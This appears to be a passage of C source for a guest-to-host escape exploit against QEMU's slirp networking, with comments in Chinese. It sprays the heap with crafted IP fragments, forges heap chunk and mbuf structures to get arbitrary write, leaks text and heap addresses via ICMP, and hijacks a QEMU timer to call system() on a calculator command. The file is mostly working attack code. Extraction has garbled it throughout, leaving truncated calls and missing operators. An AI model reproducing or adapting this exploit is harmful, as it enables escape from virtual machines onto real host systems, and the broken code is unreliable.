0; ptr = memcpy(ptr, ptr += sizeof(iphdr.ip_src.s_addr); chksumlen += sizeof(iphdr.ip_src.s_addr); memcpy(ptr, ptr += sizeof(iphdr.ip_dst.s_addr); chksumlen += sizeof(iphdr.ip_dst.s_addr); *ptr = 0; ptr++; chksumlen += 1; memcpy(ptr, ptr += sizeof(iphdr.ip_p); chksumlen += sizeof(iphdr.ip_p); svalue = htons(sizeof(tcphdr) + payloadlen); memcpy(ptr, ptr += sizeof(svalue); chksumlen += sizeof(svalue); memcpy(ptr, ptr += sizeof(tcphdr.th_sport); chksumlen += sizeof(tcphdr.th_sport); memcpy(ptr, ptr += sizeof(tcphdr.th_dport); chksumlen += sizeof(tcphdr.th_dport); memcpy(ptr, ptr += sizeof(tcphdr.th_seq); chksumlen += sizeof(tcphdr.th_seq); memcpy(ptr, ptr += sizeof(tcphdr.th_ack); chksumlen += sizeof(tcphdr.th_ack); cvalue = (tcphdr.th_off 4) + tcphdr.th_x2; memcpy(ptr, ptr += sizeof(cvalue); chksumlen += sizeof(cvalue); memcpy(ptr, ptr += sizeof(tcphdr.th_flags); chksumlen += sizeof(tcphdr.th_flags); memcpy(ptr, ptr += sizeof(tcphdr.th_win); chksumlen += sizeof(tcphdr.th_win); *ptr = 0; ptr++; *ptr = 0; ptr++; chksumlen += 2; memcpy(ptr, ptr += sizeof(tcphdr.th_urp); chksumlen += sizeof(tcphdr.th_urp); memcpy(ptr, payload, payloadlen); ptr += payloadlen; chksumlen += payloadlen; for (i = 0; i payloadlen % 2; i++, ptr++) { *ptr = 0; ptr++; chksumlen++; } return checksum((uint16_t *)buf, chksumlen); } void hexdump(const char *desc, void *addr, int len) { int i; unsigned char buff[17]; unsigned char *pc = (unsigned char *)addr; // Output description if given. if (desc != NULL) printf("%s:\n", desc); if (len == 0) { printf(" ZERO LENGTH\n"); return; } if (len 0) { printf(" NEGATIVE LENGTH: %i\n", len); return; } // Process every byte in the data. for (i = 0; i len; i++) { // Multiple of 16 means new line (with line offset). if ((i % 16) == 0) { // Just don't print ASCII for the zeroth line. if (i != 0) printf(" %s\n", buff); // Output the offset. printf(" %04x ", i); } // Now the hex code for the specific character. printf(" %02x", pc[i]); // And store a printable ASCII character for later. if ((pc[i] 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.'; else buff[i % 16] = pc[i]; buff[(i % 16) + 1] = '\0'; } // Pad out last line if not exactly 16 characters. while ((i % 16) != 0) { printf(" "); i++; } // And print the final ASCII bit. printf(" %s\n", buff); } void sendPacket(struct ip_packet_info *info, uint8_t *data, uint32_t data_len) { const int on = 1; char *interface, *src_ip, *dst_ip; unsigned char *packet; struct ip ipHeader; struct sockaddr_in sin; struct ifreq ifr; struct in_addr sock_addr; packet = (uint8_t*)calloc(1,IP_MAXPACKET); interface = (int8_t *)calloc(1,40); src_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN); dst_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN); strcpy(interface, "enp0s3"); strcpy(src_ip, "127.0.0.1"); strcpy(dst_ip, "127.0.0.1"); // IPPROTO_RAW: 只能发送IP包 int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd 0) errExit("socket() failed to get socket descriptor for using ioctl()"); memset( snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface); // 查询网卡 interface index,用于后续socket 绑定网卡 if (ioctl(fd, SIOCGIFINDEX, 0) errExit("ioctl() failed to find interface."); close(fd); ipHeader.ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN ipHeader.ip_v = 4; // Protocol Type: IPV4 ipHeader.ip_tos = 0; // Type Of Service ipHeader.ip_len = htons(IP4_HDRLEN + data_len); // Total Length ipHeader.ip_id = htons(info->ip_id); // ID sequence number // FLAGS: 长度为 3Bit // 字段中第一位不使用 // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片 // 第三位是MF(More Fragments),MF = 0 指最后一个分片 // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包. ipHeader.ip_off = htons((((uint16_t)info->MF 13) | (info->ip_off >> 3))); ipHeader.ip_ttl = 0xFF; // Time-to-Live,默认最大值255 ipHeader.ip_p = info->ip_p; // 传输协议包类型 // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数" if (( inet_pton(AF_INET, src_ip, ipHeader.ip_sum = checksum((uint16_t *) // Calculate IP_Header Checksum // 构造IPV4 Packet 用于发送 memcpy(packet, memcpy(packet + IP4_HDRLEN, data, data_len); memset( sin.sin_family = AF_INET; sin.sin_addr.s_addr = sock_addr.s_addr; // 创造一个socket 只用于发送IP包 if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) 0) errExit("socket() failed."); // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包 if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, 0) errExit("setsockopt() failed to set IP_HDRINCL "); // 绑定上述Socket 到网卡`ifr.ifr_name`接口 if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, 0) errExit("setsockopt() failed to bind to interface "); // 通过上述Socket向网卡中发送构造的IPV4的数据包 if (sendto(fd, packet, IP4_HDRLEN + data_len, 0, (struct sockaddr *) 0) errExit("sendto() failed "); close(fd); free(packet); free(interface); free(src_ip); free(dst_ip); puts("====================== Send Packet Done! ======================"); } int connect_with(char *ip,uint16_t port) { int fd = socket(AF_INET,SOCK_STREAM, 0); if(fd 0){ errExit("Socket"); } struct sockaddr_in tcp_socket; tcp_socket.sin_family = AF_INET; tcp_socket.sin_port = htons(port); tcp_socket.sin_addr.s_addr = inet_addr(ip); if (connect(fd, (struct sockaddr *) return fd; } // heapSpray函数用于清空堆块列表 void heapSpray(int size, uint16_t ip_id) { const int on = 1; char *interface, *src_ip, *dst_ip; unsigned char *packet; char *payload; int payload_len,i; struct ip ipHeader; struct tcphdr tcpHeader; struct sockaddr_in sin; struct ifreq ifr; packet = (uint8_t*)calloc(1,IP_MAXPACKET); interface = (int8_t *)calloc(1,40); src_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN); dst_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN); payload = (int8_t *)calloc(1,IP_MAXPACKET); assert(size >= 0x54); payload_len = size - 0x54; strcpy(interface, "enp0s3"); strcpy(src_ip, "127.0.0.1"); strcpy(dst_ip, "127.0.0.1"); // IPPROTO_RAW: 只能发送IP包 int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd 0) errExit("socket() failed to get socket descriptor for using ioctl()"); memset( snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface); // 查询网卡 interface index,用于后续socket 绑定网卡 if (ioctl(fd, SIOCGIFINDEX, 0) errExit("ioctl() failed to find interface."); close(fd); ipHeader.ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN ipHeader.ip_v = 4; // Protocol Type: IPV4 ipHeader.ip_tos = 0; // Type Of Service ipHeader.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payload_len); // Total Length ipHeader.ip_id = htons(ip_id); // ID sequence number // FLAGS: 长度为 3Bit // 字段中第一位不使用 // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片 // 第三位是MF(More Fragments),MF = 0 指最后一个分片 // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包. ipHeader.ip_off = htons((1 13)); ipHeader.ip_ttl = 0xFF; // Time-to-Live,默认最大值255 ipHeader.ip_p = IPPROTO_TCP; // 传输协议包类型 // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数" if (( inet_pton(AF_INET, src_ip, ipHeader.ip_sum = checksum((uint16_t *) // Calculate IP_Header Checksum /*****************************************************/ tcpHeader.th_sport = htons(60); // Source port number tcpHeader.th_dport = htons(80); // Destination port number tcpHeader.th_seq = htonl(0); // TCP Sequence number tcpHeader.th_ack = htonl(0); // Acknowledgement number tcpHeader.th_x2 = 0; // Reserved tcpHeader.th_off = TCP_HDRLEN / 4; int tcp_flags[8]; // Flags (8 bits) // FIN flag (1 bit) tcp_flags[0] = 0; // SYN flag (1 bit) tcp_flags[1] = 0; // RST flag (1 bit) tcp_flags[2] = 0; // PSH flag (1 bit) tcp_flags[3] = 1; // ACK flag (1 bit) tcp_flags[4] = 1; // URG flag (1 bit) tcp_flags[5] = 0; // ECE flag (1 bit) tcp_flags[6] = 0; // CWR flag (1 bit) tcp_flags[7] = 0; for (i = 0; i 8; i++) { tcpHeader.th_flags += (tcp_flags[i] i); } tcpHeader.th_win = htons(0xFFFF); // Window size tcpHeader.th_urp = htons(0); // Urgent pointer // TCP checksum (16 bits) tcpHeader.th_sum = tcp4_checksum(ipHeader, tcpHeader, (uint8_t *)payload, payload_len); memcpy(packet, memcpy(packet + IP4_HDRLEN, memcpy(packet + IP4_HDRLEN + TCP_HDRLEN, payload, payload_len); memset( sin.sin_family = AF_INET; sin.sin_addr.s_addr = ipHeader.ip_dst.s_addr; // 创造一个socket 只用于发送IP包 if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) 0) errExit("socket() failed."); // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包 if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, 0) errExit("setsockopt() failed to set IP_HDRINCL "); // 绑定上述Socket 到网卡`ifr.ifr_name`接口 if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, 0) errExit("setsockopt() failed to bind to interface "); // 通过上述Socket向网卡中发送构造的IPV4的数据包 if (sendto(fd, packet, IP4_HDRLEN + TCP_HDRLEN + payload_len, 0, (struct sockaddr *) 0) errExit("sendto() failed "); close(fd); free(packet); free(interface); free(src_ip); free(dst_ip); free(payload); } void arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data, int write_data_len, int spray_times) { struct ip_packet_info info; int i; assert(addr_len = 8); char *payload = calloc(1,0x2000); memset(payload,'F',0x2000); // 清空堆块 for (i = 0; i spray_times; ++i) { printf("Spraying Size = 0x2000, id: %d\n", i); heapSpray(0x2000, g_spray_ip_id + i); } uint16_t new_ip_id = g_spray_ip_id + spray_times; uint16_t forAllocVuln0 = new_ip_id++; info.ip_id = forAllocVuln0; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( uint16_t forAllocVuln1 = new_ip_id++; info.ip_id = forAllocVuln1; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( // 防止堆块和top_chunk合并 uint16_t target = new_ip_id++; info.ip_id = target; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; uint64_t fake_chunk[0x10]; i = 0; fake_chunk[i++] = 0xA00; fake_chunk[i++] = 0x20; fake_chunk[i++] = 0xDEAD; fake_chunk[i++] = 0xCAFE; fake_chunk[i++] = 0x20; fake_chunk[i++] = 0x2C1; memcpy(payload + 0x2E0,(void*)fake_chunk,0x30); sendPacket( info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( info.ip_id = forAllocVuln1; info.ip_off = 8; info.MF = 0; info.ip_p = 0xFF; sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin /************** Heap Layout Finished *****************/ int fd = connect_with("10.0.2.2",6667); char s[0x30] = "DCC SEND TEST -1 -1 2333\0"; memset(payload,'F',0x1000); memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s)); write(fd,payload,0x5AA); memset(payload,'F',0x1000); info.ip_id = forAllocVuln0; info.ip_off = 8; info.MF = 0; info.ip_p = 0xFF; sendPacket( // padding info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( uint16_t vuln = new_ip_id++; info.ip_id = vuln; info.ip_off = 0; info.ip_p = 0xFF; i = 0; uint64_t fake[0x20]; fake[i++] = 0; fake[i++] = 0x675; // chunk size fake[i++] = 0; // m_next fake[i++] = 0; // m_prev fake[i++] = 0; // m_nextpkt fake[i++] = 0; // m_prevpkt fake[i++] = ((size_t)0x608 32) | 0; // m_size 32 | m_flags fake[i++] = 0; // m_so fake[i++] = addr; // m_data memcpy(payload + 0x230, if(addr_len 8) { info.MF = 1; sendPacket( info.ip_id = vuln; info.ip_off = 0x270; info.MF = 0; info.ip_p = 0xFF; sendPacket( } else { info.MF = 0; sendPacket( } // padding info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( info.ip_id = target; info.ip_off = 0x310; info.MF = 0; info.ip_p = 0xFF; sendPacket( close(fd); free(payload); } void leak(uint64_t addr, int addr_len) { struct ip_packet_info info; int i,recvfd; assert(addr_len = 8); char *payload = calloc(1,0x2000); memset(payload,'F',0x2000); // 清空堆块 for (i = 0; i 0x20; ++i) { printf("Spraying Size = 0x2000, id: %d\n", i); heapSpray(0x2000, g_spray_ip_id + i); } uint16_t new_ip_id = g_spray_ip_id + 0x20; uint16_t forAllocVuln0 = new_ip_id++; info.ip_id = forAllocVuln0; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( uint16_t forAllocVuln1 = new_ip_id++; info.ip_id = forAllocVuln1; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( // 防止堆块和top_chunk合并 uint16_t target = new_ip_id++; info.ip_id = target; info.ip_off = 0; info.MF = 1; info.ip_p = IPPROTO_ICMP; uint64_t fake_chunk[0x10]; i = 0; fake_chunk[i++] = 0xA00; fake_chunk[i++] = 0x20; fake_chunk[i++] = 0xDEAD; fake_chunk[i++] = 0xCAFE; fake_chunk[i++] = 0x20; fake_chunk[i++] = 0x2C1; memcpy(payload + 0x2E0,(void*)fake_chunk,0x30); sendPacket( info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( info.ip_id = forAllocVuln1; info.ip_off = 8; info.MF = 0; info.ip_p = 0xFF; sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin /************** Heap Layout Finished *****************/ int fd = connect_with("10.0.2.2",6667); char s[0x30] = "DCC SEND TEST -1 -1 2333\0"; memset(payload,'F',0x1000); memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s)); write(fd,payload,0x5AA); memset(payload,'F',0x1000); info.ip_id = forAllocVuln0; info.ip_off = 8; info.MF = 0; info.ip_p = 0xFF; sendPacket( // padding info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( uint16_t vuln = new_ip_id++; info.ip_id = vuln; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; i = 0; uint64_t fake[0x20]; fake[i++] = 0; fake[i++] = 0x675; // chunk size fake[i++] = 0; // m_next fake[i++] = 0; // m_prev fake[i++] = 0; // m_nextpkt fake[i++] = 0; // m_prevpkt fake[i++] = ((size_t)0x608 32) | 0; // m_size 32 | m_flags fake[i++] = 0; // m_so fake[i++] = addr; // m_data memcpy(payload + 0x230, sendPacket( info.ip_id = vuln; info.ip_off = 0x270; info.MF = 0; info.ip_p = 0xFF; sendPacket( // padding info.ip_id = new_ip_id++; info.ip_off = 0; info.MF = 1; info.ip_p = 0xFF; sendPacket( info.ip_id = target; info.ip_off = 0x310; info.MF = 0; info.ip_p = IPPROTO_ICMP; recvfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 需要放置在 结束ICMP请求之前 sendPacket( /**************************/ int bytes, status; struct ip *recv_iphdr; struct icmp *recv_icmphdr; uint8_t recv_ether_frame[IP_MAXPACKET]; struct sockaddr from; socklen_t fromlen; struct timeval wait; wait.tv_sec = 2; wait.tv_usec = 0; setsockopt(recvfd, SOL_SOCKET, SO_RCVTIMEO, (char *) recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN); recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN); while (1) { memset(recv_ether_frame, 0, IP_MAXPACKET); memset( fromlen = sizeof(from); if ((bytes = recvfrom(recvfd, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *) 0) { status = errno; if (status == EAGAIN) { // EAGAIN = 11 errExit("No reply"); } else if (status == EINTR) { // EINTR = 4 continue; } else { errExit("recvfrom() failed "); } } if ((((recv_ether_frame[12] 8) + recv_ether_frame[13]) == ETH_P_IP) 0x200) continue; hexdump("ping recv", recv_ether_frame, bytes); text_base = ((*(uint64_t *)(recv_ether_frame + 0x60)) - 0x4584C2) heap_base = (*(uint64_t *)(recv_ether_frame + 0x48)) printf("TEXT BASE: %#lX\n" "HEAP BASE: %#lX\n", text_base, heap_base); break; } // End if IP ethernet frame carrying ICMP_ECHOREPLY } close(fd); close(recvfd); free(payload); puts("=================== Leak Finished! ===================="); } const char eth_frame[0x10] = { // Ethernet Frame Header Data // DST MAC 52:54:00:12:34:56 0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // SRC MAC 52:54:00:12:34:56 0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // Length / Type: IPv4 0x08, 0x00 }; const char exec_cmd[] = "/usr/bin/gnome-calculator"; int main() { struct icmp *icmpHeader; struct ip *ipHeader; uint8_t eth_packet[IP_MAXPACKET]; char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN]; int status; memcpy(eth_packet, eth_frame, ETH_HDRLEN); ipHeader = (struct ip *)(eth_packet + ETH_HDRLEN); strcpy(src_ip, "10.0.2.15"); strcpy(dst_ip, "10.0.2.2"); ipHeader->ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN ipHeader->ip_v = 4; // Protocol Type: IPV4 ipHeader->ip_tos = 0; // Type Of Service ipHeader->ip_len = (ICMP_HDRLEN); // Total Length ipHeader->ip_id = 0xCDCD; // ID sequence number // FLAGS: 长度为 3Bit // 字段中第一位不使用 // 第二位是DF(Don't Fragment),指明当前的packet包是否是不可分片的 // 第三位是MF(More Fragments),指明当前的包是否是分片序列的最后一个,MF = 0则是最后一个包 // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包. ipHeader->ip_off = 0; ipHeader->ip_ttl = 0xFF; // Time-to-Live,默认最大值255 ipHeader->ip_p = IPPROTO_ICMP; // 传输协议包类型 if (( inet_pton(AF_INET, src_ip, ipHeader->ip_sum = checksum((uint16_t *) // Calculate IP_Header Checksum icmpHeader = (struct icmp *)(eth_packet + ETH_HDRLEN + IP4_HDRLEN); icmpHeader->icmp_type = ICMP_ECHO; icmpHeader->icmp_code = 0; // Message Code icmpHeader->icmp_id = htons(1000); // Identifier icmpHeader->icmp_seq = htons(0); // Sequence Number icmpHeader->icmp_cksum = icmp4_checksum(*icmpHeader, eth_packet, 0); // ICMP Checksum // 向 0x*000B00处写入 ETH Packet memcpy(eth_packet + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd, strlen(exec_cmd) + 1); g_spray_ip_id = 0xAABB; arbitrary_write( 0x000B00 - 0x310, 3, eth_packet, ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x100); // 将伪造的ICMP包和参数写入到某处确定地址 g_spray_ip_id = 0xBBCC; leak(0x000B00 + IP4_HDRLEN + ETH_HDRLEN,3); /********************** Leak Finished *****************************/ size_t *fake_timer_list = (uint64_t *)calloc(1,0x200); size_t fake_timer_list_ptr = heap_base + 0x1000; fake_timer_list[0] = text_base + 0xE40D40; // qemu_clocks fake_timer_list[7] = 0x0000000100000000; fake_timer_list[8] = fake_timer_list_ptr + 0x70; // active_timers -> fake_QEMUTimer fake_timer_list[9] = 0; fake_timer_list[10] = 0; fake_timer_list[11] = text_base + 0x2E5C41; // qemu_timer_notify_cb fake_timer_list[12] = 0; fake_timer_list[13] = 0x0000000100000000; // following is fake_QEMUTimer fake_timer_list[14] = 0; // expire_time set to 0 will trigger func cb fake_timer_list[15] = fake_timer_list_ptr; fake_timer_list[16] = text_base + 0x28E280; // system fake_timer_list[17] = heap_base + 0xB00 + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; // cmd的地址 fake_timer_list[18] = 0; fake_timer_list[19] = 0x000F424000000000; g_spray_ip_id = 0xCCDD; arbitrary_write(fake_timer_list_ptr - 0x310, 8, (void*)fake_timer_list, 0xA0, 0x30); size_t TMP = fake_timer_list_ptr; g_spray_ip_id = 0xDDBB; size_t main_loop_tlg = text_base + 0xE40D20; arbitrary_write(main_loop_tlg - 0x310, 8, (void*) }